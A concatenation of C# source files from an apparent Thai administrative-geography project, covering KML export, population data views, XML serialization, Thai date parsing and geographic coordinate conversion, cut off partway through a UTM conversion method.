public Double LatitudeExtendDegree { get; private set; }
public Double LongitudeExtendDegree { get; private set; }
public Tuple<Int32, Int32> Index { get; private set; }
#endregion
#region constructor
public RtsdMapFrame(GeoPoint northWestCorner, Double latitudeExtend, Double longitudeExtend, Tuple<Int32, Int32> index)
{
_northWestCorner = northWestCorner;
LatitudeExtendDegree = latitudeExtend;
LongitudeExtendDegree = longitudeExtend;
Index = index;
String subIndexName = String.Empty;
switch (index.Item2)
{
case 1:
subIndexName = "I";
break;
case 2:
subIndexName = "II";
break;
case 3:
subIndexName = "III";
break;
case 4:
subIndexName = "IV";
break;
}
Name = String.Format("{0:####} {1}", index.Item1, subIndexName);
}
#endregion
#region private methods
protected override GeoPoint GetNorthWestCorner()
{
return _northWestCorner;
}
protected override GeoPoint GetNorthEastCorner()
{
GeoPoint northEastCorner = new GeoPoint(NorthWestCorner);
northEastCorner.Longitude += LongitudeExtendDegree;
return northEastCorner;
}
protected override GeoPoint GetSouthWestCorner()
{
GeoPoint southWestCorner = new GeoPoint(NorthWestCorner);
southWestCorner.Latitude -= LatitudeExtendDegree;
return southWestCorner;
}
protected override GeoPoint GetSouthEastCorner()
{
GeoPoint southEastCorner = new GeoPoint(NorthWestCorner);
southEastCorner.Latitude -= LatitudeExtendDegree;
southEastCorner.Longitude += LongitudeExtendDegree;
return southEastCorner;
}
#endregion
}
}
<file_sep>/AHGeo/KmlHelper.cs
using System;
using System.Collections.Generic;
using System.Text;
using System.Xml;
namespace De.AHoerstemeier.Geo
{
public class KmlHelper
{
#region variables
private XmlDocument doc = new XmlDocument();
private XmlNode _DocumentNode;
#endregion variables
#region properties
public XmlNode DocumentNode
{
get
{
return _DocumentNode;
}
}
#endregion properties
#region methods
//this function create the frame of the document, it is standard
private void GenerateKml()
{
XmlNode docNode = doc.CreateXmlDeclaration("1.0", "UTF-8", null);
doc.AppendChild(docNode);
XmlNode kmlNode = doc.CreateElement("kml");
XmlAttribute xmlAttribute = doc.CreateAttribute("xmlns");
xmlAttribute.Value = "http://earth.google.com/kml/2.1";
kmlNode.Attributes.Append(xmlAttribute);
doc.AppendChild(kmlNode);
_DocumentNode = doc.CreateElement("Document");
kmlNode.AppendChild(_DocumentNode);
}
public XmlNode AddStyle(String name)
{
XmlNode styleNode = doc.CreateElement("Style");
XmlAttribute styleAttribute = doc.CreateAttribute("id");
styleAttribute.Value = name;
styleNode.Attributes.Append(styleAttribute);
_DocumentNode.AppendChild(styleNode);
return styleNode;
}
public void AddStylePoly(String name, Int32 lineWidth, UInt32 lineColor, Boolean polyFill)
{
XmlNode lStyleNode = AddStyle(name);
AddStylePoly(lStyleNode, lineWidth, lineColor, polyFill);
}
public void AddStylePoly(XmlNode node, Int32 lineWidth, UInt32 lineColor, Boolean polyFill)
{
XmlNode polyStyleNode = doc.CreateElement("PolyStyle");
node.AppendChild(polyStyleNode);
XmlNode lineNode = doc.CreateElement("LineStyle");
node.AppendChild(lineNode);
XmlNode lineWidthNode = doc.CreateElement("width");
lineWidthNode.InnerText = lineWidth.ToString();
lineNode.AppendChild(lineWidthNode);
XmlNode lineColorNode = doc.CreateElement("color");
lineColorNode.InnerText = lineColor.ToString("X");
lineNode.AppendChild(lineColorNode);
XmlNode fillNode = doc.CreateElement("fill");
fillNode.InnerText = Convert.ToInt32(polyFill).ToString();
polyStyleNode.AppendChild(fillNode);
}
public void AddIconStyle(String name, Uri iconUrl)
{
XmlNode styleNode = AddStyle(name);
AddIconStyle(styleNode, iconUrl);
}
public void AddIconStyle(XmlNode node, Uri iconUrl)
{
XmlNode iconStyleNode = doc.CreateElement("IconStyle");
node.AppendChild(iconStyleNode);
XmlNode iconNode = doc.CreateElement("Icon");
iconStyleNode.AppendChild(iconNode);
XmlNode iconHrefNode = doc.CreateElement("href");
iconHrefNode.AppendChild(doc.CreateTextNode(iconUrl.ToString()));
iconNode.AppendChild(iconHrefNode);
}
public void SaveToFile(String fileName)
{
doc.Save(fileName);
}
//this function can add a point to the map, if you want extend functionalities you have to create other functions for each Google earth shapes ( polygon, line, etc... )
public XmlNode AddPoint(XmlNode node, Double latitude, Double longitude, String name, String style, String address, String description)
{
XmlNode placemarkNode = AddPlacemarkNode(node, name, style, description);
if ( !String.IsNullOrEmpty(address) )
{
XmlNode addressNode = doc.CreateElement("address");
addressNode.AppendChild(doc.CreateTextNode(address));
placemarkNode.AppendChild(addressNode);
}
XmlNode pointNode = doc.CreateElement("Point");
placemarkNode.AppendChild(pointNode);
XmlNode coordinateNode = doc.CreateElement("coordinates");
pointNode.AppendChild(coordinateNode);
coordinateNode.AppendChild(doc.CreateTextNode(longitude.ToString(Helper.CultureInfoUS) + "," + latitude.ToString(Helper.CultureInfoUS)));
return placemarkNode;
}
private XmlNode AddPlacemarkNode(XmlNode node, String name, String style, String description)
{
XmlNode placemarkNode = doc.CreateElement("Placemark");
node.AppendChild(placemarkNode);
XmlNode nameNode = doc.CreateElement("name");
nameNode.AppendChild(doc.CreateTextNode(name));
placemarkNode.AppendChild(nameNode);
XmlNode styleNode = doc.CreateElement("styleUrl");
styleNode.AppendChild(doc.CreateTextNode('#' + style));
placemarkNode.AppendChild(styleNode);
if ( !String.IsNullOrEmpty(description) )
{
XmlNode descriptionNode = doc.CreateElement("description");
descriptionNode.AppendChild(doc.CreateTextNode(description));
placemarkNode.AppendChild(descriptionNode);
}
return placemarkNode;
}
public XmlNode AddPoint(Double latitude, Double longitude, String name, String style, String address, String description)
{
XmlNode RetVal = AddPoint(_DocumentNode, latitude, longitude, name, style, address, description);
return RetVal;
}
public XmlNode AddFolder(XmlNode node, String name, Boolean opened)
{
XmlNode folderNode = doc.CreateElement("Folder");
node.AppendChild(folderNode);
XmlNode nameNode = doc.CreateElement("name");
nameNode.AppendChild(doc.CreateTextNode(name));
folderNode.AppendChild(nameNode);
XmlNode openNode = doc.CreateElement("open");
if ( opened )
{
openNode.AppendChild(doc.CreateTextNode("1"));
}
else
{
openNode.AppendChild(doc.CreateTextNode("0"));
}
folderNode.AppendChild(openNode);
return folderNode;
}
public XmlNode AddPolygon(XmlNode node, List<GeoPoint> border, String name, String style, String description, Boolean tessellate)
{
XmlNode placemarkNode = AddPlacemarkNode(node, name, style, description);
XmlNode polygonNode = doc.CreateElement("Polygon");
placemarkNode.AppendChild(polygonNode);
XmlNode tessellateNode = doc.CreateElement("tesselate");
tessellateNode.InnerText = Convert.ToInt32(tessellate).ToString();
polygonNode.AppendChild(tessellateNode);
XmlNode outerBoundaryNode = doc.CreateElement("outerBoundaryIs");
polygonNode.AppendChild(outerBoundaryNode);
XmlNode linearRingNode = doc.CreateElement("LinearRing");
outerBoundaryNode.AppendChild(linearRingNode);
XmlNode coordinateNode = doc.CreateElement("coordinates");
linearRingNode.AppendChild(coordinateNode);
String coordinates = String.Empty;
foreach ( GeoPoint point in border )
{
coordinates +=
point.Longitude.ToString(Helper.CultureInfoUS) + "," +
point.Latitude.ToString(Helper.CultureInfoUS) + "," +
point.Altitude.ToString(Helper.CultureInfoUS) + Environment.NewLine;
}
coordinateNode.InnerText = coordinates;
return placemarkNode;
}
#endregion methods
#region constructor
public KmlHelper()
{
GenerateKml();
}
#endregion constructor
}
// ToDo: Placemarks - <address>..</address>
// ToDo: Placemarks - <description>...</description> - inside may be HTML hidden with CDATA
}<file_sep>/PopulationDataView.cs
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Xml;
using System.Globalization;
namespace De.AHoerstemeier.Tambon
{
public partial class PopulationDataView : Form
{
private PopulationData mData = null;
internal event RoyalGazetteProcessingFinishedHandler ShowGazette;
internal PopulationData Data
{
get { return mData; }
set { SetData(value); }
}
private void SetData(PopulationData value)
{
mData = value;
if ( value != null )
{
if ( mData.Data != null )
{
this.Text = mData.Data.English + " " + mData.Year.ToString();
}
PopulationDataToTreeView(mTreeviewData, mData);
}
}
public PopulationDataView()
{
InitializeComponent();
}
private void PopulationDataEntryToListView(PopulationDataEntry iData)
{
mListviewData.BeginUpdate();
mListviewData.Items.Clear();
foreach ( PopulationDataEntry lEntity in iData.SubEntities )
{
ListViewItem lListViewItem = mListviewData.Items.Add(lEntity.English);
lListViewItem.SubItems.Add(lEntity.Name);
lListViewItem.SubItems.Add(lEntity.Geocode.ToString());
lListViewItem.SubItems.Add(lEntity.Total.ToString());
lListViewItem.SubItems.Add(lEntity.SubNames(EntityTypeHelper.Thesaban).ToString());
}
mListviewData.EndUpdate();
}
private TreeNode PopulationDataEntryToTreeNode(PopulationDataEntry iData)
{
TreeNode retval = null;
if ( iData != null )
{
String lName = String.Empty;
if ( !String.IsNullOrEmpty(iData.English) )
{
lName = iData.English;
}
else
{
lName = "(" + iData.Name + ")";
}
retval = new TreeNode(lName);
retval.Tag = iData;
foreach ( PopulationDataEntry lEntity in iData.SubEntities )
{
if ( !EntityTypeHelper.Thesaban.Contains(lEntity.Type) )
{
retval.Nodes.Add(PopulationDataEntryToTreeNode(lEntity));
}
}
}
return retval;
}
private void PopulationDataToTreeView(TreeView iTreeView, PopulationData iData)
{
iTreeView.BeginUpdate();
iTreeView.Nodes.Clear();
if ( iData != null )
{
TreeNode lNode = PopulationDataEntryToTreeNode(iData.Data);
if ( lNode != null )
{
iTreeView.Nodes.Add(lNode);
}
}
iTreeView.EndUpdate();
}
private void btnClipboardAmphoe_Click(object sender, EventArgs e)
{
var lData = CurrentSelectedEntity(sender);
String lOutput = lData.WriteForWikipedia(mData.WikipediaReference());
if ( lOutput != String.Empty )
{
Clipboard.SetText(lOutput);
}
}
private void tv_data_AfterSelect(object sender, TreeViewEventArgs e)
{
var lData = CurrentSelectedEntity(sender);
PopulationDataEntryToListView(lData);
btnClipboardAmphoe.Enabled = lData.CanWriteForWikipedia();
var entityCounter = lData.EntityTypeNumbers();
String text = String.Empty;
foreach ( KeyValuePair<EntityType, Int32> keyValuePair in entityCounter )
{
text = text + keyValuePair.Key.ToString() + " " + keyValuePair.Value.ToString(CultureInfo.InvariantCulture) + Environment.NewLine;
}
textBox1.Text = text;
}
private PopulationDataEntry CurrentSelectedEntity(object sender)
{
var lSelectedNode = mTreeviewData.SelectedNode;
var retval = (PopulationDataEntry)(lSelectedNode.Tag);
return retval;
}
private void btnSaveXML_Click(Object sender, EventArgs e)
{
XmlDocument lXmlDocument = new XmlDocument();
mData.ExportToXML(lXmlDocument);
lXmlDocument.Save(mData.XmlExportFileName());
}
private void btnGazette_Click(Object sender, EventArgs e)
{
var data = CurrentSelectedEntity(sender);
if ( (data != null) && (ShowGazette != null) )
{
var list = TambonHelper.GlobalGazetteList.AllAboutEntity(data.Geocode, true);
// Also check for old obsolete Geocodes!
ShowGazette(this,new RoyalGazetteEventArgs(list));
}
}
// ToDo: Change it to an event of GobalGazetteList
private void PopulationDataView_Enter(object sender, EventArgs e)
{
btnGazette.Enabled = TambonHelper.GlobalGazetteList.Any();
}
}
}
<file_sep>/TambonHelpers/XmlManager.cs
using System;
using System.IO;
using System.Runtime.Serialization;
using System.Security;
using System.Text;
using System.Xml;
using System.Xml.Serialization;
namespace De.AHoerstemeier.Tambon
{
/// <summary>
/// Serializes and deserializes an instance of an entity to XML using either XmlSerializer
/// </summary>
public static class XmlManager
{
/// <summary>
/// Serializes an Entity to XML using the <see cref="System.Xml.Serialization.XmlSerializer"/>.
/// </summary>
/// <typeparam name="T">Type of the Entity.</typeparam>
/// <param name="entity">the Entity to serialize.</param>
/// <param name="extraTypes">A Type array of additional object types to serialize. <see cref="System.Type"/></param>
/// <returns>the XML of the Entity as <see cref="System.String"/>.</returns>
public static String EntityToXml<T>(T entity, params Type[] extraTypes)
{
MemoryStream stream = null;
TextWriter writer = null;
try
{
stream = new MemoryStream(); // read XML in memory
writer = new StreamWriter(stream, Encoding.UTF8);
// get serialize object
XmlSerializer serializer = new XmlSerializer(typeof(T), extraTypes);
serializer.Serialize(writer, entity); // read object
var count = (Int32)stream.Length; // saves object in memory stream
Byte[] arr = new Byte[count];
stream.Seek(0, SeekOrigin.Begin);
// copy stream contents in byte array
stream.Read(arr, 0, count);
UTF8Encoding utf = new UTF8Encoding(); // convert byte array to string
//return utf.GetString(arr).Trim().Replace("\n", "").Replace("\r", "");
return utf.GetString(arr);
}
catch
{
return String.Empty;
}
finally
{
if ( writer != null )
writer.Close(); // Also closes the underlying stream!
//if ( stream != null )
// stream.Dispose();
}
}
/// <summary>
/// Deserialize an XML stream to the corresponding Entity T using the <see cref="System.Xml.Serialization.XmlSerializer"/>.
/// </summary>
/// <exception cref="InvalidOperationException">Thrown if the <paramref name="xmlStream"/> can not be deserialized to a valid object of type <typeparamref name="T"/>.</exception>
/// <exception cref="ArgumentNullException">Thrown if <paramref name="xmlStream"/> or <paramref name="serializer"/> is null.</exception>
/// <typeparam name="T">Type of the Entity</typeparam>
/// <param name="xmlStream">The XML <see cref="System.IO.Stream"/> to deserialize</param>
/// <param name="serializer">The XmlSerializer that is being used for deserialization.</param>
/// <returns>The Entity of Type T</returns>
public static T XmlToEntity<T>(Stream xmlStream, XmlSerializer serializer)
{
if ( xmlStream == null )
{
throw new ArgumentNullException("xmlStream");
}
if ( serializer == null )
{
throw new ArgumentNullException("serializer");
}
XmlTextReader reader = null;
try
{
// serialize to object
//XmlSerializer serializer = new XmlSerializer(typeof(T), extraTypes);
reader = new XmlTextReader(xmlStream); // create reader
// convert reader to object
return (T)serializer.Deserialize(reader);
}
finally
{
if ( reader != null )
reader.Close();
}
}
public static T MakeClone<T>(T source)
{
if ( source == null )
return default(T);
var xmlString = EntityToXml<T>(source);
var stream = new MemoryStream(Encoding.UTF8.GetBytes(xmlString ?? ""));
var result = XmlToEntity<T>(stream, new XmlSerializer(typeof(T)));
return result;
}
}
}<file_sep>/TambonMain/GazetteReassign.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
public partial class GazetteReassign
{
/// <summary>
/// Converts the gazette operation into a entity history entry.
/// </summary>
/// <returns>Corresponding history entry.</returns>
public override HistoryEntryBase ConvertToHistory()
{
var historyReassign = new HistoryReassign();
if ( this.oldgeocodeSpecified )
{
historyReassign.oldgeocode = this.oldgeocode;
historyReassign.oldgeocodeSpecified = true;
}
if ( this.newownerSpecified )
{
historyReassign.newparent = this.newowner;
}
else if ( this.geocodeSpecified )
{
historyReassign.newparent = this.geocode / 100;
}
if ( this.oldownerSpecified )
{
historyReassign.oldparent = this.oldowner;
}
else
{
historyReassign.oldparent = this.oldgeocode / 100;
}
if ( this.typeSpecified )
{
historyReassign.type = this.type;
historyReassign.typeSpecified = true;
}
return historyReassign;
}
}
}<file_sep>/AHTambon/RoyalGazetteContentStatus.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml;
namespace De.AHoerstemeier.Tambon
{
class RoyalGazetteContentStatus : RoyalGazetteContent
{
internal const String XmlLabel = "status";
#region properties
public EntityType OldStatus
{
get;
set;
}
public EntityType NewStatus
{
get;
set;
}
#endregion
override internal void DoLoad(XmlNode iNode)
{
base.DoLoad(iNode);
if (iNode != null && iNode.Name.Equals(XmlLabel))
{
string s = TambonHelper.GetAttribute(iNode, "old");
if (!String.IsNullOrEmpty(s))
{
OldStatus = (EntityType)Enum.Parse(typeof(EntityType), s);
}
s = TambonHelper.GetAttribute(iNode, "new");
if (!String.IsNullOrEmpty(s))
{
NewStatus = (EntityType)Enum.Parse(typeof(EntityType), s);
}
}
}
override protected void WriteToXmlElement(XmlElement iElement)
{
base.WriteToXmlElement(iElement);
if (OldStatus != EntityType.Unknown)
{
iElement.SetAttribute("old", OldStatus.ToString());
}
if (NewStatus != EntityType.Unknown)
{
iElement.SetAttribute("new", NewStatus.ToString());
}
}
#region constructor
public RoyalGazetteContentStatus()
{
}
public RoyalGazetteContentStatus(RoyalGazetteContentStatus other)
{
DoCopy(other);
}
#endregion
protected override String GetXmlLabel()
{
return XmlLabel;
}
protected override void DoCopy(RoyalGazetteContent other)
{
if (other != null)
{
base.DoCopy(other);
if (other is RoyalGazetteContentStatus)
{
RoyalGazetteContentStatus iOtherStatus = (RoyalGazetteContentStatus)other;
OldStatus = iOtherStatus.OldStatus;
NewStatus = iOtherStatus.NewStatus;
}
}
}
}
}
<file_sep>/TambonHelpers/ThaiDateHelper.cs
using System;
using System.Collections.Generic;
using System.Globalization;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace De.AHoerstemeier.Tambon
{
public static class ThaiDateHelper
{
public static readonly Dictionary<String, Byte> ThaiMonthNames = new Dictionary<string, byte>
{
{"มกราคม",1},
{"กุมภาพันธ์",2},
{"มีนาคม",3},
{"เมษายน",4},
{"พฤษภาคม",5},
{"มิถุนายน",6},
{"กรกฎาคม",7},
{"สิงหาคม",8},
{"กันยายน",9},
{"ตุลาคม",10},
{"พฤศจิกายน",11},
{"ธันวาคม",12}
};
public static readonly Dictionary<String, Byte> ThaiMonthAbbreviations = new Dictionary<string, byte>
{
{"ม.ค.",1},
{"ก.พ.",2},
{"มี.ค.",3},
{"เม.ย.",4},
{"พ.ค.",5},
{"มิ.ย.",6},
{"ก.ค.",7},
{"สิ.ค.",8},
{"ส.ค.",8},
{"ก.ย.",9},
{"ต.ค.",10},
{"พ.ย.",11},
{"ธ.ค.",12}
};
private const string BuddhistEra = "พ.ศ.";
private const string ChristianEra = "ค.ศ.";
private const string RattanakosinEra = "ร.ศ.";
public static DateTime ParseThaiDate(String value)
{
String monthString = String.Empty;
Int32 month = 0;
String yearString = String.Empty;
Int32 year = 0;
Int32 day = 0;
Int32 position = 0;
String date = ThaiNumeralHelper.ReplaceThaiNumerals(value);
position = date.IndexOf(' ');
day = Convert.ToInt32(date.Substring(0, position), CultureInfo.InvariantCulture);
date = date.Substring(position + 1, date.Length - position - 1);
position = date.IndexOf(' ');
monthString = date.Substring(0, position).Trim();
month = ThaiMonthNames[monthString];
// TODO: Weren't there some very old ones with KhoSo as well?
position = date.IndexOf(BuddhistEra, StringComparison.Ordinal) + BuddhistEra.Length;
yearString = date.Substring(position, date.Length - position);
year = Convert.ToInt32(yearString, CultureInfo.InvariantCulture);
if ( year < 2100 )
{
year = year + 543; // there are entries in KhoSo but with "พ.ศ." in the returned info
}
if ( (year < 2484) & (month < 4) )
{
year = year - 542;
}
else
{
year = year - 543;
}
return new DateTime(year, month, day);
}
}
}<file_sep>/AHGeo/GeoPoint.cs
using System;
using System.Collections;
using System.Collections.Generic;
using System.Globalization;
using System.Text;
using System.Text.RegularExpressions;
using System.Xml;
namespace De.AHoerstemeier.Geo
{
public class GeoPoint : ICloneable, IEquatable<GeoPoint>
{
#region constants
private double dScaleFactor = 0.9996; // scale factor, used as k0
private double _convertRadianToDegree = 180.0 / Math.PI; // 57.2957795130823208767 ...
private GeoDatum _Datum = GeoDatum.DatumWGS84();
private Int32 _GeoHashDefaultAccuracy = 9;
private Int32 _MaidenheadDefaultAccuracy = 9;
private PositionInRectangle _DefaultPositionInRectangle = PositionInRectangle.MiddleMiddle;
#endregion constants
#region properties
public double Altitude
{
get; set;
}
public double Latitude
{
get; set;
}
public double Longitude
{
get; set;
}
public GeoDatum Datum
{
get
{
return _Datum;
}
set
{
SetDatum(value);
}
}
public String GeoHash
{
get
{
return CalcGeoHash(_GeoHashDefaultAccuracy);
}
set
{
SetGeoHash(value);
}
}
public String Maidenhead
{
get
{
return CalcMaidenhead(_MaidenheadDefaultAccuracy);
}
set
{
SetMaidenhead(value);
}
}
#endregion properties
#region constructor
/// <summary>
/// Initializes a new instance of the GeoPoint class.
/// </summary>
public GeoPoint()
{
}
/// <summary>
/// Initializes a new instance of the GeoPoint class.
/// </summary>
/// <exception cref="ArgumentOutOfRangeException">Thrown when latitude is larger than ±90° or longitude is larger than ±180°</exception>
/// <param name="latitude">Latitude in degrees.</param>
/// <param name="longitude">Longitude in degrees.</param>
public GeoPoint(double latitude, double longitude)
{
if ( Math.Abs(latitude) > 90 )
{
throw new ArgumentOutOfRangeException("latitude");
}
if ( Math.Abs(longitude) > 180 )
{
throw new ArgumentOutOfRangeException("longitude");
}
Latitude = latitude;
Longitude = longitude;
}
/// <summary>
/// Initializes a new instance of the GeoPoint class.
/// </summary>
/// <exception cref="ArgumentOutOfRangeException">Thrown when latitude is larger than ±90° or longitude is larger than ±180°.</exception>
/// <exception cref="ArgumentNullException">Thrown when datum is null.</exception>
/// <param name="latitude">Latitude in degrees.</param>
/// <param name="longitude">Longitude in degrees.</param>
/// <param name="altitude">Altitude in meter.</param>
/// <param name="datum">Geographical datum.</param>
public GeoPoint(double latitude, double longitude, double altitude, GeoDatum datum)
{
if ( Math.Abs(latitude) > 90 )
{
throw new ArgumentOutOfRangeException("latitude");
}
if ( Math.Abs(longitude) > 180 )
{
throw new ArgumentOutOfRangeException("longitude");
}
if ( datum == null )
{
throw new ArgumentNullException("datum");
}
Latitude = latitude;
Longitude = longitude;
Altitude = altitude;
_Datum = datum;
}
/// <summary>
/// Initializes a new instance of the GeoPoint class.
/// </summary>
/// <param name="value">String representation of a geographical coordinate.</param>
/// <exception cref="ArgumentException">Raise when the string could not be parsed.</exception>
/// <exception cref="ArgumentOutOfRangeException">Thrown when parsed latitude is larger than ±90° or longitude is larger than ±180°</exception>
public GeoPoint(String value)
{
GeoPoint result = null;
try
{
result = GeoPoint.ParseDegMinSec(value);
}
catch ( ArgumentException )
{
}
if ( result == null )
{
try
{
result = GeoPoint.ParseDegMin(value);
}
catch ( ArgumentException )
{
}
}
if ( result == null )
{
try
{
result = GeoPoint.ParseDecimalDegree(value);
}
catch ( ArgumentException )
{
}
}
if ( result == null )
{
throw new ArgumentException("Cannot parse coordinate value " + value, "value");
}
Latitude = result.Latitude;
Longitude = result.Longitude;
}
/// <summary>
/// Initializes a new instance of the GeoPoint class.
/// </summary>
/// <param name="value">GeoPoint to copy data from.</param>
public GeoPoint(GeoPoint value)
{
Latitude = value.Latitude;
Longitude = value.Longitude;
Altitude = value.Altitude;
_Datum = (GeoDatum)value.Datum.Clone();
}
/// <summary>
/// Initializes a new instance of the GeoPoint class.
/// </summary>
/// <param name="utmPoint">UTM coordinates.</param>
/// <param name="datum">Geographical datum.</param>
public GeoPoint(UtmPoint utmPoint, GeoDatum datum)
{
Double excentricitySquared = datum.Ellipsoid.ExcentricitySquared;
Double equatorialRadius = datum.Ellipsoid.SemiMajorAxis;
Boolean northernHemisphere = utmPoint.IsNorthernHemisphere;
Int32 zoneNumber = utmPoint.ZoneNumber;
Double x = utmPoint.Easting - 500000.0; //remove 500,000 meter offset for longitude
Double y = utmPoint.Northing;
if ( !northernHemisphere )
{
// point is in southern hemisphere
y = y - 10000000.0; // remove 10,000,000 meter offset used for southern hemisphere
}
Double longOrigin = (zoneNumber - 1) * 6 - 180 + 3; // +3 puts origin in middle of zone
Double excentricityPrimeSquared = (excentricitySquared) / (1 - excentricitySquared);
Double M = y / dScaleFactor;
Double mu = M / (equatorialRadius * (1 - excentricitySquared / 4 - 3 * excentricitySquared * excentricitySquared / 64 - 5 * excentricitySquared * excentricitySquared * excentricitySquared / 256));
Double e1 = (1 - Math.Sqrt(1 - excentricitySquared)) / (1 + Math.Sqrt(1 - excentricitySquared));
// phi in radians
Double phi1Rad = mu + (3 * e1 / 2 - 27 * e1 * e1 * e1 / 32) * Math.Sin(2 * mu)
+ (21 * e1 * e1 / 16 - 55 * e1 * e1 * e1 * e1 / 32) * Math.Sin(4 * mu)
+ (151 * e1 * e1 * e1 / 96) * Math.Sin(6 * mu);
// convert to degrees
Double phi1 = phi1Rad * _convertRadianToDegree;
Double N1 = equatorialRadius / Math.Sqrt(1 - excentricitySquared * Math.Sin(phi1Rad) * Math.Sin(phi1Rad));
Double T1 = Math.Tan(phi1Rad) * Math.Tan(phi1Rad);
Double C1 = excentricityPrimeSquared * Math.Cos(phi1Rad) * Math.Cos(phi1Rad);
Double R1 = equatorialRadius * (1 - excentricitySquared) / Math.Pow(1 - excentricitySquared * Math.Sin(phi1Rad) * Math.Sin(phi1Rad), 1.5);
Double D = x / (N1 * dScaleFactor);
// phi in radians
Double latitude = phi1Rad - (N1 * Math.Tan(phi1Rad) / R1) * (D * D / 2 - (5 + 3 * T1 + 10 * C1 - 4 * C1 * C1 - 9 * excentricityPrimeSquared) * D * D * D * D / 24
+ (61 + 90 * T1 + 298 * C1 + 45 * T1 * T1 - 252 * excentricityPrimeSquared - 3 * C1 * C1) * D * D * D * D * D * D / 720);
// convert to degrees
latitude = latitude * _convertRadianToDegree;
// lon in radians
Double longitude = (D - (1 + 2 * T1 + C1) * D * D * D / 6 + (5 - 2 * C1 + 28 * T1 - 3 * C1 * C1 + 8 * excentricityPrimeSquared + 24 * T1 * T1)
* D * D * D * D * D / 120) / Math.Cos(phi1Rad);
// convert to degrees
longitude = longOrigin + longitude * _convertRadianToDegree;
Longitude = longitude;
Latitude = latitude;
_Datum = datum;
}
#endregion constructor
#region methods
/// <summary>
/// Checks whether the point is on the northern hemisphere.
/// </summary>
/// <returns>True if on northern hemisphere or exactly at equator, false otherwise.</returns>
public Boolean IsNorthernHemisphere()
{
return Latitude >= 0;
}
/// <summary>
/// Checks whether the point is west of Greenwich.
/// </summary>
/// <returns>True if west of Greenwich or exactly on meridian, false otherwise.</returns>
public Boolean IsWesternLongitude()
{
return Longitude <= 0;
}
private void SetDatum(GeoDatum newDatum)
{
// Source http://home.hiwaay.net/~taylorc/bookshelf/math-science/geodesy/datum/transform/molodensky/
double LatRad = Latitude / _convertRadianToDegree;
double LongRad = Longitude / _convertRadianToDegree;
double slat = Math.Sin(LatRad);
double clat = Math.Cos(LatRad);
double slon = Math.Sin(LongRad);
double clon = Math.Cos(LongRad);
double from_a = Datum.Ellipsoid.SemiMajorAxis;
double from_f = Datum.Ellipsoid.Flattening;
double from_esq = Datum.Ellipsoid.ExcentricitySquared;
double ssqlat = slat * slat;
double adb = 1.0 / (1.0 - from_f); // "a divided by b"
double da = newDatum.Ellipsoid.SemiMajorAxis - Datum.Ellipsoid.SemiMajorAxis;
double df = newDatum.Ellipsoid.Flattening - Datum.Ellipsoid.Flattening;
double dx = -newDatum.DeltaX + Datum.DeltaX;
double dy = -newDatum.DeltaY + Datum.DeltaY;
double dz = -newDatum.DeltaZ + Datum.DeltaZ;
double rn = from_a / Math.Sqrt(1.0 - from_esq * ssqlat);
double rm = from_a * (1.0 - from_esq) / Math.Pow((1.0 - from_esq * ssqlat), 1.5);
double dlat = (((((-dx * slat * clon - dy * slat * slon) + dz * clat)
+ (da * ((rn * from_esq * slat * clat) / from_a)))
+ (df * (rm * adb + rn / adb) * slat * clat)))
/ (rm + Altitude);
double dlon = (-dx * slon + dy * clon) / ((rn + Altitude) * clat);
double dh = (dx * clat * clon) + (dy * clat * slon) + (dz * slat)
- (da * (from_a / rn)) + ((df * rn * ssqlat) / adb);
Longitude = Longitude + dlon * _convertRadianToDegree;
Latitude = Latitude + dlat * _convertRadianToDegree;
Altitude = Altitude + dh;
_Datum = newDatum;
}
internal static void ShiftPositionInRectangle(ref Double latitude, ref Double longitude, PositionInRectangle positionInRectangle, Double height, Double width)
{
switch ( positionInRectangle )
{
case PositionInRectangle.TopLeft:
case PositionInRectangle.TopMiddle:
case PositionInRectangle.TopRight:
latitude += height;
break;
}
switch ( positionInRectangle )
{
case PositionInRectangle.MiddleLeft:
case PositionInRectangle.MiddleMiddle:
case PositionInRectangle.MiddleRight:
latitude += height / 2;
break;
}
switch ( positionInRectangle )
{
case PositionInRectangle.TopRight:
case PositionInRectangle.MiddleRight:
case PositionInRectangle.BottomRight:
longitude += width;
break;
}
switch ( positionInRectangle )
{
case PositionInRectangle.TopMiddle:
case PositionInRectangle.MiddleMiddle:
case PositionInRectangle.BottomMiddle:
longitude += width / 2;
break;
}
}
public void ExportToKml(XmlNode node)
{
XmlDocument lXmlDocument = Helper.XmlDocumentFromNode(node);
var lNewElement = (XmlElement)lXmlDocument.CreateNode("element", "Point", "");
node.AppendChild(lNewElement);
var lCoordinatesElement = (XmlElement)lXmlDocument.CreateNode("element", "coordinates", "");
lCoordinatesElement.InnerText =
Latitude.ToString(Helper.CultureInfoUS) + ',' +
Longitude.ToString(Helper.CultureInfoUS) + ",0";
lNewElement.AppendChild(lCoordinatesElement);
}
public void ExportToXML(XmlElement node)
{
XmlDocument lXmlDocument = Helper.XmlDocumentFromNode(node);
var lNewElement = (XmlElement)lXmlDocument.CreateNode("element", "geo:Point", "");
node.AppendChild(lNewElement);
var lLatitudeElement = (XmlElement)lXmlDocument.CreateNode("element", "geo:lat", "");
lLatitudeElement.InnerText = Latitude.ToString(Helper.CultureInfoUS);
lNewElement.AppendChild(lLatitudeElement);
var lLongitudeElement = (XmlElement)lXmlDocument.CreateNode("element", "get:long", "");
lLongitudeElement.InnerText = Longitude.ToString(Helper.CultureInfoUS);
lNewElement.AppendChild(lLongitudeElement);
}
public UtmPoint CalcUTM()
{
//converts lat/long to UTM coords. Equations from USGS Bulletin 1532
//East Longitudes are positive, West longitudes are negative.
//North latitudes are positive, South latitudes are negative
//Lat and Long are in decimal degrees
double eccSquared = _Datum.Ellipsoid.ExcentricitySquared;
double dEquatorialRadius = _Datum.Ellipsoid.SemiMajorAxis;
double k0 = 0.9996;
double LongOrigin;
double eccPrimeSquared = (eccSquared) / (1 - eccSquared);
//Make sure the longitude is between -180.00 .. 179.9
double lLongitude = (Longitude + 180) - Math.Truncate((Longitude + 180) / 360) * 360 - 180; // -180.00 .. 179.9;
double LatRad = Latitude / _convertRadianToDegree;
double LongRad = Longitude / _convertRadianToDegree;
Int32 ZoneNumber = (Int32)Math.Truncate((lLongitude + 180) / 6) + 1;
if ( Latitude >= 56.0 && Latitude < 64.0 && lLongitude >= 3.0 && lLongitude < 12.0 )
